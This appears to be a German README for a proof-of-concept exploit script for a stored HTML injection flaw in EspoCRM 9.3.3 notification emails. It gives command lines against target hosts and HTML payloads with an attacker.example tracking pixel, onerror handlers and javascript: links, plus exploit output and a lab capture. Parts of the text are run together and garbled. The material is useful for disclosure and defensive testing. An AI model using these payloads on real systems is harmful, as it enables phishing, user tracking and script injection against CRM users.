
EspoCRM 9.3.3 – Gespeicherte HTML-Injektion in E-Mail-Benachrichtigungen
Authentifizierter Proof-of-Concept für gespeicherte HTML-Injektion in EspoCRM 9.3.3 E-Mail-Benachrichtigungen.
EspoCRM 9.3.3 rendert Stream-Notiz-Benachrichtigungs-E-Mails, indem der Notiztext mit Markdown transformiert und das resultierende HTML mit dreifachen geschweiften Klammern ({{{post}}}) in E-Mail-Vorlagen eingefügt wird. Ein authentifizierter Benutzer, der einen Stream-Beitrag erstellen und eine Benachrichtigung auslösen kann, kann vom Angreifer kontrolliertes HTML speichern, das später im generierten E-Mail-Body gerendert wird.
Der Exploit führt den vom Angreifer kontrollierten Remote-Teil des Ablaufs aus:
/api/v1/App/user.Note, die HTML enthält.--mention oder --target-user-id, um ein Benachrichtigungsziel in die Warteschlange zu stellen.Die E-Mail-Zustellung erfolgt, wenn der normale SendEmailNotifications-Job oder Cron von EspoCRM die in der Warteschlange befindliche Benachrichtigung verarbeitet.
requestsNote-Datensätze zu erstellen--mention <benutzername> für Erwähnungs-E-Mail-Benachrichtigungen, oder--target-user-id <id> für gezielte Stream-Beitrags-BenachrichtigungenAbhängigkeit installieren:
python3 -m pip install requests
Bevorzugter erwähnungsbasierter Pfad:
python3 CVE-2026-33657.py \
-u http://127.0.0.1:8083 \
-U testuser \
-P 'Admin12345!' \
--mention admin
Eine benutzerdefinierte Tracking-URL verwenden:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--tracking-url https://attacker.example/pixel.gif
Einen vollständig benutzerdefinierten HTML-Payload verwenden:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'
Eine bestimmte Benutzer-ID anstelle einer Erwähnung anvisieren:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--target-user-id 0123456789abcdef0 \
--target-user-name 'Victim User'
Nur Fingerprinting, ohne eine Notiz zu erstellen:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--detect-only
-u, --url Basis-EspoCRM-URL
-U, --username EspoCRM-Benutzername
-P, --password EspoCRM-Passwort
--mention Zu erwähnender Benutzername, ohne @
--target-user-id Benutzer-ID für gezielte Stream-Beitrags-Benachrichtigungen
--target-user-name Anzeigename für --target-user-id
--payload Roher HTML-Payload, der in der Note gespeichert werden soll
--tracking-url Tracking-Pixel-URL, die vom Standard-Payload verwendet wird
--link-url Link-URL, die vom Standard-Payload verwendet wird
--marker Markierungstext, der dem Payload vorangestellt wird
--detect-only Nur Version per Fingerprinting ermitteln; keine Note erstellen
--skip-version-check /api/v1/App/user vor der Ausnutzung überspringen
--force Fortfahren, auch wenn der Versions-Fingerprint nicht 9.3.3 ist
--insecure TLS-Zertifikatsprüfung deaktivieren
Ein erfolgreicher Lauf erstellt eine bösartige Notiz und bestätigt das Benachrichtigungsziel:
[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.
Auf einer verwundbaren Instanz bewahrt der generierte HTML-E-Mail-Body das injizierte HTML. Ein Labor-Capture sieht wie folgt aus:
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>
In einem lokalen EspoCRM-Labor den Benachrichtigungs-Job nach dem Ausführen des Exploits auslösen:
sudo -u www-data php command.php run-job SendEmailNotifications
Der resultierende E-Mail-Body sollte das injizierte HTML im text/html-Teil enthalten.
@@version meldet, handelt es sich beim Ziel wahrscheinlich um einen Source-Tree-Build. Das Skript fährt fort, da der zugrunde liegende Code möglicherweise weiterhin das verwundbare 9.3.3-Tag ist.--mention keine geparste Erwähnung erzeugt, die messagePermission und mentionPermission des Angreifers prüfen und bestätigen, dass der Zielbenutzername existiert und Benachrichtigungen empfangen kann.